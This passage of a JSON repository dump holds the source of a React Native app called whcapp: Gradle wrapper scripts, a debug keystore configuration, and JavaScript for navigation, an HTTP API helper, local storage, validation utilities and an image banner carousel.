    "content": "#!/usr/bin/env bash\n\n##############################################################################\n##\n##  Gradle start up script for UN*X\n##\n##############################################################################\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS=\"\"\n\nAPP_NAME=\"Gradle\"\nAPP_BASE_NAME=`basename \"$0\"`\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=\"maximum\"\n\nwarn ( ) {\n    echo \"$*\"\n}\n\ndie ( ) {\n    echo\n    echo \"$*\"\n    echo\n    exit 1\n}\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\ncase \"`uname`\" in\n  CYGWIN* )\n    cygwin=true\n    ;;\n  Darwin* )\n    darwin=true\n    ;;\n  MINGW* )\n    msys=true\n    ;;\nesac\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched.\nif $cygwin ; then\n    [ -n \"$JAVA_HOME\" ] && JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\nfi\n\n# Attempt to set APP_HOME\n# Resolve links: $0 may be a link\nPRG=\"$0\"\n# Need this for relative symlinks.\nwhile [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n        PRG=\"$link\"\n    else\n        PRG=`dirname \"$PRG\"`\"/$link\"\n    fi\ndone\nSAVED=\"`pwd`\"\ncd \"`dirname \\\"$PRG\\\"`/\" >&-\nAPP_HOME=\"`pwd -P`\"\ncd \"$SAVED\" >&-\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n        # IBM's JDK on AIX uses strange locations for the executables\n        JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n        JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n    if [ ! -x \"$JAVACMD\" ] ; then\n        die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nelse\n    JAVACMD=\"java\"\n    which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif [ \"$cygwin\" = \"false\" -a \"$darwin\" = \"false\" ] ; then\n    MAX_FD_LIMIT=`ulimit -H -n`\n    if [ $? -eq 0 ] ; then\n        if [ \"$MAX_FD\" = \"maximum\" -o \"$MAX_FD\" = \"max\" ] ; then\n            MAX_FD=\"$MAX_FD_LIMIT\"\n        fi\n        ulimit -n $MAX_FD\n        if [ $? -ne 0 ] ; then\n            warn \"Could not set maximum file descriptor limit: $MAX_FD\"\n        fi\n    else\n        warn \"Could not query maximum file descriptor limit: $MAX_FD_LIMIT\"\n    fi\nfi\n\n# For Darwin, add options to specify how the application appears in the dock\nif $darwin; then\n    GRADLE_OPTS=\"$GRADLE_OPTS \\\"-Xdock:name=$APP_NAME\\\" \\\"-Xdock:icon=$APP_HOME/media/gradle.icns\\\"\"\nfi\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin ; then\n    APP_HOME=`cygpath --path --mixed \"$APP_HOME\"`\n    CLASSPATH=`cygpath --path --mixed \"$CLASSPATH\"`\n\n    # We build the pattern for arguments to be converted via cygpath\n    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`\n    SEP=\"\"\n    for dir in $ROOTDIRSRAW ; do\n        ROOTDIRS=\"$ROOTDIRS$SEP$dir\"\n        SEP=\"|\"\n    done\n    OURCYGPATTERN=\"(^($ROOTDIRS))\"\n    # Add a user-defined pattern to the cygpath arguments\n    if [ \"$GRADLE_CYGPATTERN\" != \"\" ] ; then\n        OURCYGPATTERN=\"$OURCYGPATTERN|($GRADLE_CYGPATTERN)\"\n    fi\n    # Now convert the arguments - kludge to limit ourselves to /bin/sh\n    i=0\n    for arg in \"$@\" ; do\n        CHECK=`echo \"$arg\"|egrep -c \"$OURCYGPATTERN\" -`\n        CHECK2=`echo \"$arg\"|egrep -c \"^-\"`                                 ### Determine if an option\n\n        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition\n            eval `echo args$i`=`cygpath --path --ignore --mixed \"$arg\"`\n        else\n            eval `echo args$i`=\"\\\"$arg\\\"\"\n        fi\n        i=$((i+1))\n    done\n    case $i in\n        (0) set -- ;;\n        (1) set -- \"$args0\" ;;\n        (2) set -- \"$args0\" \"$args1\" ;;\n        (3) set -- \"$args0\" \"$args1\" \"$args2\" ;;\n        (4) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" ;;\n        (5) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" ;;\n        (6) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" ;;\n        (7) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" ;;\n        (8) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" ;;\n        (9) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" \"$args8\" ;;\n    esac\nfi\n\n# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules\nfunction splitJvmOpts() {\n    JVM_OPTS=(\"$@\")\n}\neval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS\nJVM_OPTS[${#JVM_OPTS[*]}]=\"-Dorg.gradle.appname=$APP_BASE_NAME\"\n\nexec \"$JAVACMD\" \"${JVM_OPTS[@]}\" -classpath \"$CLASSPATH\" org.gradle.wrapper.GradleWrapperMain \"$@\"\n"
  },
  {
    "path": "android/gradlew.bat",
    "content": "@if \"%DEBUG%\" == \"\" @echo off\r\n@rem ##########################################################################\r\n@rem\r\n@rem  Gradle startup script for Windows\r\n@rem\r\n@rem ##########################################################################\r\n\r\n@rem Set local scope for the variables with windows NT shell\r\nif \"%OS%\"==\"Windows_NT\" setlocal\r\n\r\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\r\nset DEFAULT_JVM_OPTS=\r\n\r\nset DIRNAME=%~dp0\r\nif \"%DIRNAME%\" == \"\" set DIRNAME=.\r\nset APP_BASE_NAME=%~n0\r\nset APP_HOME=%DIRNAME%\r\n\r\n@rem Find java.exe\r\nif defined JAVA_HOME goto findJavaFromJavaHome\r\n\r\nset JAVA_EXE=java.exe\r\n%JAVA_EXE% -version >NUL 2>&1\r\nif \"%ERRORLEVEL%\" == \"0\" goto init\r\n\r\necho.\r\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\r\necho.\r\necho Please set the JAVA_HOME variable in your environment to match the\r\necho location of your Java installation.\r\n\r\ngoto fail\r\n\r\n:findJavaFromJavaHome\r\nset JAVA_HOME=%JAVA_HOME:\"=%\r\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\r\n\r\nif exist \"%JAVA_EXE%\" goto init\r\n\r\necho.\r\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\r\necho.\r\necho Please set the JAVA_HOME variable in your environment to match the\r\necho location of your Java installation.\r\n\r\ngoto fail\r\n\r\n:init\r\n@rem Get command-line arguments, handling Windowz variants\r\n\r\nif not \"%OS%\" == \"Windows_NT\" goto win9xME_args\r\nif \"%@eval[2+2]\" == \"4\" goto 4NT_args\r\n\r\n:win9xME_args\r\n@rem Slurp the command line arguments.\r\nset CMD_LINE_ARGS=\r\nset _SKIP=2\r\n\r\n:win9xME_args_slurp\r\nif \"x%~1\" == \"x\" goto execute\r\n\r\nset CMD_LINE_ARGS=%*\r\ngoto execute\r\n\r\n:4NT_args\r\n@rem Get arguments from the 4NT Shell from JP Software\r\nset CMD_LINE_ARGS=%$\r\n\r\n:execute\r\n@rem Setup the command line\r\n\r\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\r\n\r\n@rem Execute Gradle\r\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%\r\n\r\n:end\r\n@rem End local scope for the variables with windows NT shell\r\nif \"%ERRORLEVEL%\"==\"0\" goto mainEnd\r\n\r\n:fail\r\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\r\nrem the _cmd.exe /c_ return code!\r\nif  not \"\" == \"%GRADLE_EXIT_CONSOLE%\" exit 1\r\nexit /b 1\r\n\r\n:mainEnd\r\nif \"%OS%\"==\"Windows_NT\" endlocal\r\n\r\n:omega\r\n"
  },
  {
    "path": "android/keystores/BUCK",
    "content": "keystore(\n    name = \"debug\",\n    properties = \"debug.keystore.properties\",\n    store = \"debug.keystore\",\n    visibility = [\n        \"PUBLIC\",\n    ],\n)\n"
  },
  {
    "path": "android/keystores/debug.keystore.properties",
    "content": "key.store=debug.keystore\nkey.alias=androiddebugkey\nkey.store.password=android\nkey.alias.password=android\n"
  },
  {
    "path": "android/settings.gradle",
    "content": "rootProject.name = 'whcapp'\n\ninclude ':app'\n"
  },
  {
    "path": "app/App.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React, { Component } from 'react';\n\nimport { Provider } from 'react-redux';\nimport configureStore from './store/configure-stroe';\n\nimport AppNavigation from \"./containers/navigation\";\n\nconst store = configureStore();\n\nexport default class App extends Component {\n\n  render() {\n    return (\n        <Provider store={store}>\n            <AppNavigation/>\n        </Provider>\n    );\n  }\n}\n"
  },
  {
    "path": "app/actions/login-action.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport * as types from '../constants/action-type';\n\nexport function did_login(userInfo = {}) {\n    return {\n        type: types.DID_LOGIN,\n        userInfo,\n    }\n}\n\nexport function did_logout() {\n    return {\n        type: types.DID_LOGOUT,\n        userInfo: {},\n    }\n}\n\n"
  },
  {
    "path": "app/api/account.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport storage from '../components/storage';\n\nexport default class Account {\n    static user_info = {};\n    static token = '';\n    static did_login = false;\n\n\n    /**\n     * 退出登录\n     */\n    static exit_login() {\n        this.username = '';\n        this.password = '';\n        this.did_login = false;\n        storage.remove('login');\n    }\n}\n"
  },
  {
    "path": "app/api/api.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport account from './account';\n\nexport default class Api {\n    static main_url = 'http://www.wuhaichao.com/app/';\n\n    /**\n     * 发送get请求\n     */\n    static get({api, param, headers}, block) {\n        this.request({\n            api: api,\n            param: param,\n            headers: headers,\n            method: 'GET',\n        }, block);\n    }\n\n    /**\n     * 发送post请求\n     */\n    static post({api, param, headers}, block) {\n        this.request({\n            api: api,\n            param: param,\n            headers: headers,\n            method: 'POST',\n        }, block);\n    }\n\n    /**\n     * 发送请求\n     */\n    static request({api = null,\n                       param = {},\n                       headers = {\n                        'Accept': 'application/json',\n                        'Content-Type': 'multipart/form-data',},\n                       method = 'GET'}, block) {\n        if (api && api.length > 0) {\n            param.token = account.token;\n            if (headers.Accept === void 0) {\n                headers.Accept = 'application/json';\n            }\n            if (headers['Content-Type'] === void 0) {\n                headers['Content-Type'] = 'multipart/form-data';\n            }\n            let config = {\n                method: method,\n                headers: headers,\n            };\n            let url = this.main_url + api;\n            if (method === 'GET') {\n                let param_str = '';\n                let index = 0;\n                for(let key in param) {\n                    param_str +=  (index === 0 ? '' : '&') + key + '=' + param[key];\n                    index += 1;\n                }\n                url += (param_str === '' ? '' : '?') + param_str;\n            } else {\n                const formdata = new FormData();\n                for(let key in param) {\n                    formdata.append(key, param[key]);\n                }\n                config.body = formdata;\n            }\n            fetch(url, config)\n            .then((response) => response.json())\n            .then((json) => {\n                const {token = ''} = json;\n                if (token.length > 0) {\n                    account.token = token;\n                }\n                account.did_login = account.token !== '';\n                block && block(json || {\n                    code: 1,\n                    message: '发送请求失败',\n                });\n            });\n        }else {\n            block && block({\n                code: 1,\n                message: '发送请求失败',\n            });\n        }\n    }\n}\n"
  },
  {
    "path": "app/base/base-list.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n\nimport React from 'react';\nimport {\n    FlatList,\n    StyleSheet,\n    View,\n} from 'react-native';\n\nimport CommunityCell from '../pages/community/community-cell';\nimport Controller from './controller';\n\nexport default class BaseList extends Controller {\n\n    constructor(props) {\n        super(props);\n        this.datas = [];\n    }\n\n    reloadData = (data) => {\n        setTimeout(() => {\n            this.datas = data;\n            this.loading(false);\n        }, 1000);\n    };\n\n    clickItem = (item) => {\n        this.push('Webv', {linkUrl: item.linkUrl, title: item.title});\n    };\n\n    render() {\n        return (\n            <View style = {styles.view}>\n                <FlatList\n                    style = {styles.list}\n                    data = {this.datas}\n                    renderItem = {\n                        ({item, index}) => (\n                            <CommunityCell key = {index} item = {item} click = {() => {\n                                this.clickItem(item);\n                            }}/>\n                        )\n                    }\n                />\n                {super.render()}\n            </View>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    list: {\n        flex: 1,\n    },\n});\n"
  },
  {
    "path": "app/base/controller.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React, {Component} from 'react';\nimport {\n    TouchableHighlight,\n    Image,\n    Platform,\n    View,\n} from 'react-native';\nimport {NavigationActions} from 'react-navigation';\nimport WHCToast from '../components/whc-toast';\nimport WHCLoading from '../components/whc-loading';\n\n/**\n * 基类控制器\n */\n\nexport default class Controller extends Component {\n    /**\n     * 存储界面路由信息\n     * @type {Map<any, any>}\n     */\n    static routerMap = new Map();\n\n    /**\n     * 路由名称数组\n     * @type {Array}\n     */\n    static routerNames = [];\n\n\n    static navigationOptions = (options) => {\n        const {navigation = null, navigationOptions} = options;\n        if (navigation) {\n            const  {params = null} = navigation.state;\n            const {headerLeft = null, headerRight = null} = navigationOptions;\n            if (params) {\n                const {title = null} = params;\n                if (title) {\n                    options.title = title;\n                }\n            }\n            const {key = ''} = navigation.state;\n            if (key.toLowerCase().indexOf('init') !== 0 && !headerLeft) {\n                options.headerLeft = (\n                    <TouchableHighlight style = {{\n                        backgroundColor: 'transparent',\n                        width: 70,\n                        height: 40,\n                        justifyContent: 'center',\n                    }} onPress={() => {\n                        const {goBackBlock = null} = navigation.state.params;\n                        goBackBlock && goBackBlock();\n                    }} underlayColor={'transparent'}>\n                        <Image style = {{\n                            width: 20,\n                            height: 20,\n                            marginLeft: 5,\n                        }} source={require('../images/nav-back-icon.png')}/>\n                    </TouchableHighlight>\n                );\n                if (!headerRight && Platform.OS === 'android') {\n                    options.headerRight = (<View/>);\n                }\n            }\n        }\n        return options;\n    };\n\n    /**\n     * 基类视图构造方法\n     * @param props\n     */\n    constructor(props) {\n        super(props);\n        this.state = {\n            message: null,\n            loading: false,\n        };\n        if (this.props.navigation.state.params === void 0) {\n            this.props.navigation.state.params = {};\n        }\n        this.props.navigation.state.params.goBackBlock = this.goBack;\n    }\n\n\n    /**\n     * 是否可以返回\n     * @returns {boolean}\n     */\n    canBack() {\n        return true;\n    }\n\n    /**\n     * pop返回回调\n     */\n    goBack = () => {\n        if (this.canBack()) {\n            this.pop();\n        }\n    };\n\n    /**\n     * push跳转新页面\n     * @param name 路由名称\n     * @param param 路由参数\n     */\n    push = (name = null, param = {}) => {\n        const {routerMap, routerNames} = Controller;\n        if (name) {\n            const {navigation = null} = this.props;\n            if (navigation) {\n                const {state = null} = navigation;\n                if (state) {\n                    const {routeName = null, key = null} = state;\n                    if (routeName && key) {\n                        routerNames.push(routeName);\n                        routerMap.set(routeName, key);\n                    }\n                }\n            }\n            const {navigate} = this.props.navigation;\n            navigate(name, param);\n        }else {\n            console.error('push name not null');\n        }\n    };\n\n    /**\n     * 设置导航标题\n     * @param title\n     */\n    setTitle = (title = null) => {\n        if (title) {\n            const {key = null} = this.props.navigation.state;\n            if (key) {\n                const setParam = NavigationActions.setParams({\n                    key: key,\n                    params: {\n                        title: title,\n                    }\n                });\n                this.props.navigation.dispatch(setParam);\n            }\n        }\n    };\n\n    /**\n     * 设置根路由\n     * @param name 路由名称\n     */\n    setRootController = (name = null) => {\n        const {routerMap, routerNames} = Controller;\n        if (name && name.length > 0) {\n            const reset = NavigationActions.reset({\n                index: 0,\n                actions: [NavigationActions.navigate({routeName: name})]\n            });\n            routerMap.clear();\n            routerNames.splice(0, routerNames.length);\n            this.props.navigation.dispatch(reset);\n        }else {\n            console.warn('root constroller name not null');\n        }\n    };\n\n\n    /**\n     * pop返回指定name路由界面\n     * @param name 路由名称\n     */\n    pop = (name = null) => {\n        const {routerMap, routerNames} = Controller;\n        const {goBack} = this.props.navigation;\n        if (name) {\n            let key = routerMap.get(name);\n            if (key) {\n                const routerLength = routerNames.length;\n                const index = routerNames.indexOf(name);\n                if (index + 1 < routerLength) {\n                    let routerName = routerNames[index + 1];\n                    key = routerMap.get(routerName);\n                    if (!goBack(key)) {\n                        this.setRootController(name);\n                    }else {\n                        routerMap.delete(name);\n                        routerNames.splice(index,1);\n                    }\n                }else {\n                    routerMap.delete(name);\n                    routerNames.splice(index,1);\n                    goBack();\n                }\n            }else {\n                console.warn(`not found router ${name} for key`);\n            }\n        }else {\n            const routerName = routerNames.pop();\n            routerMap.delete(routerName);\n            goBack();\n        }\n    };\n\n    /**\n     * toast 弹窗\n     * @param message 要显示的消息\n     * message = null 隐藏toast\n     */\n    toast = (message = null) => {\n        this.setState((state) => {\n            state.message = message;\n            state.loading = false;\n            return state;\n        });\n    };\n\n    /**\n     * 网络菊花加载\n     * @param loading 是否加载 默认true加载 false 隐藏\n     */\n    loading = (loading = true) => {\n        this.setState((state) => {\n            state.loading = loading;\n            state.message = null;\n            return state;\n        });\n    };\n\n    render() {\n        const {message = null, loading = false} = this.state;\n        return (\n            [\n                <WHCToast key = {1}\n                          message = {message}\n                          onHide = {() => {\n                              this.toast();\n                          }}/>,\n                <WHCLoading key = {2} show = {loading}/>\n            ]\n        );\n    }\n}\n"
  },
  {
    "path": "app/components/storage.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {AsyncStorage} from 'react-native';\n\nexport default class Storage {\n\n    /**\n     * 通过key获取存储值\n     * @param key\n     * @param block\n     */\n    static value(key, block) {\n        if (key) {\n            AsyncStorage.getItem(key, (error, value) => {\n                block && !error && block(JSON.parse(value));\n            });\n        }\n    }\n\n\n    /**\n     * 存储key，value\n     * @param key\n     * @param value\n     * @param block\n     */\n    static set(key, value, block) {\n        if (value && key) {\n            if (typeof value === 'string') {\n                AsyncStorage.setItem(key, value);\n            }else if (value instanceof Object) {\n                AsyncStorage.setItem(key, JSON.stringify(value), block);\n            }\n        }\n    }\n\n    /**\n     * 移除key对应值\n     * @param key\n     * @param block\n     */\n    static remove(key, block) {\n        if (key) {\n            AsyncStorage.removeItem(key, block);\n        }\n    }\n}\n"
  },
  {
    "path": "app/components/tool.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nexport default class Tool {\n    /**\n     *  检查是否为电话号码\n     */\n    static istel(tel) {\n        if (tel) {\n            const check_tel = /(^1\\d{10})/;\n            return check_tel.test(tel);\n        }\n        return false;\n    }\n\n    /**\n     * 检查是否为电子邮件\n     */\n    static isemail(email) {\n        if (email) {\n            const check_email = /^([0-9A-Za-z\\-_\\.]+)@([0-9a-z]+\\.[a-z]{2,3}(\\.[a-z]{2})?)$/;\n            return check_email.test(email);\n        }\n        return false;\n    }\n\n    /**\n     * 获取对象属性个数\n     */\n    static count(object) {\n        if (object) {\n            let count = 0;\n            for (let key in object) {\n                if (object.hasOwnProperty(key)) {\n                    count += 1;\n                }\n            }\n            return count;\n        }\n        return 0;\n    }\n}\n"
  },
  {
    "path": "app/components/whc-banner.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    ScrollView,\n    Image,\n    StyleSheet,\n    TouchableHighlight,\n} from 'react-native';\n\nimport * as screen from '../constants/screen';\nimport * as color from '../constants/color'\n\nclass WHCBannerIndicater extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {\n            pageindex: 0,\n        };\n    }\n\n    updatePageIndex = (index) => {\n        this.setState({\n            pageindex: index,\n        });\n    };\n\n    render() {\n        const {page} = this.props;\n        const pageIndex = this.state.pageindex;\n        let pageTexts = [];\n        for (let i = 0; i < page; i++) {\n            if (i === pageIndex) {\n                pageTexts.push((<View key = {i} style = {[styles.dot, {backgroundColor: color.theme}]}/>))\n            }else {\n                pageTexts.push((<View key = {i} style = {styles.dot}/>))\n            }\n        }\n        return (\n            <View style = {styles.indicater}>\n                {pageTexts}\n            </View>\n        );\n    }\n}\n\nclass WHCBanner extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n        this.pageindex = 0;\n        this.offsetx = 0;\n    }\n\n    componentDidMount() {\n        this.timout = setTimeout(() => {\n            this._goIndex(1);\n        }, 100);\n        this._makeTimer();\n    }\n\n    componentWillUnmount() {\n        this.timeout && clearTimeout(this.timout);\n        this._clearTimer();\n    }\n\n    _onMomentumScrollEnd = (e) => {\n        const offsetx = e.nativeEvent.contentOffset.x;\n        const count = this.imagecount;\n        const index = Math.floor((offsetx - screen.width / 2.0) / screen.width) + 1;\n        if (index === 0) {\n            this.pageindex = count - 1;\n        }else if (index === count + 1) {\n            this.pageindex = 0;\n        }else {\n            this.pageindex = index - 1;\n        }\n        this.indicater.updatePageIndex(this.pageindex);\n    };\n\n    _onScrollBeginDrag = (e) => {\n        this._clearTimer();\n    };\n\n    _onScrollEndDrag = (e) => {\n        const offsetx = e.nativeEvent.contentOffset.x;\n        const count = this.imagecount;\n        if (offsetx === (count + 1) * screen.width) {\n            this._goIndex(1);\n        }else if (offsetx === 0) {\n            this._goIndex(count);\n        }\n        this._makeTimer();\n    };\n\n    _onScroll = (e) => {\n        const offsetx = e.nativeEvent.contentOffset.x;\n        const index = Math.floor((offsetx - screen.width / 2.0) / screen.width) + 1;\n        const count = this.imagecount;\n        const isLeftScroll = this.offsetx <= offsetx;\n        if (offsetx <= 0) {\n            if (isLeftScroll) {\n                return;\n            }\n            this._goIndex(count);\n        }else if (offsetx >= (count + 1) * screen.width) {\n            if (!isLeftScroll) {\n                return;\n            }\n            this._goIndex(1);\n        }\n        this.offsetx = offsetx;\n    };\n\n    _goIndex = (index, animated) => {\n        this.offsetx = index * screen.width;\n        this.scrollview.scrollTo({x: index * screen.width, y: 0, animated: animated || false});\n    };\n\n    _makeTimer = () => {\n        const interval = this.props.interval || 3;\n        this.timer = setInterval(() => {\n            this.offsetx = -1;\n            this.pageindex += 1;\n            this._goIndex(this.pageindex, true);\n        }, interval * 1000);\n    };\n\n    _clearTimer = () => {\n        this.timer && clearTimeout(this.timer);\n    };\n\n    render() {\n        const {urls, style, renderIndicater, onPress} = this.props;\n        if (urls != null && urls.length > 0) {\n            const column = urls.length;\n            let imagelist = [];\n            this.imagecount = column;\n            let url_list = [urls[column - 1]];\n            url_list = url_list.concat(urls);\n            url_list.push(urls[0]);\n            url_list.forEach((e, index) => {\n                let source = null;\n                if (e.startsWith('http')) {\n                    source = {uri: e};\n                }else {\n                    source = e;\n                }\n                imagelist.push((\n                    <TouchableHighlight key = {index} onPress = {() => {onPress !== void 0 && onPress(e, index)}}>\n                        <Image style = {styles.img} source = {source} resizeMode = {'stretch'}/>\n                    </TouchableHighlight>\n                ))\n            });\n            return (\n                <View style = {style}>\n                    <ScrollView\n                        ref = {(ref) => {this.scrollview = ref}}\n                        style = {{flex: 1}}\n                        horizontal = {true}\n                        showsHorizontalScrollIndicator = {false}\n                        pagingEnabled = {true}\n                        bounces = {false}\n                        // scrollEventThrottle = {1}\n                        onMomentumScrollEnd = {this._onMomentumScrollEnd}\n                        onScrollBeginDrag = {this._onScrollBeginDrag}\n                        onScrollEndDrag = {this._onScrollEndDrag}\n                        onScroll = {this._onScroll}>\n                        {imagelist}\n                    </ScrollView>\n                    {renderIndicater === void 0 ? (<WHCBannerIndicater\n                        ref = {(ref) => {this.indicater = ref}}\n                        page = {column}\n                    />) : renderIndicater(column)}\n                </View>\n            );\n        }\n        return null;\n    }\n}\n\nconst styles = StyleSheet.create({\n    img: {\n        flex: 1,\n        width: screen.width,\n    },\n    indicater: {\n        position: 'absolute',\n        height: 30,\n        flexDirection: 'row',\n        padding: 10,\n        justifyContent: 'center',\n        bottom: 0,\n        width: screen.width,\n        backgroundColor: 'rgba(0,0,0,0.4)',\n    },\n    dot: {\n        backgroundColor: 'white',\n        width: 10,\n        height: 10,\n        borderRadius: 5,\n        marginLeft: 10,\n    },\n});\n\nexport default WHCBanner;\n"
  },
  {
    "path": "app/components/whc-button.js",
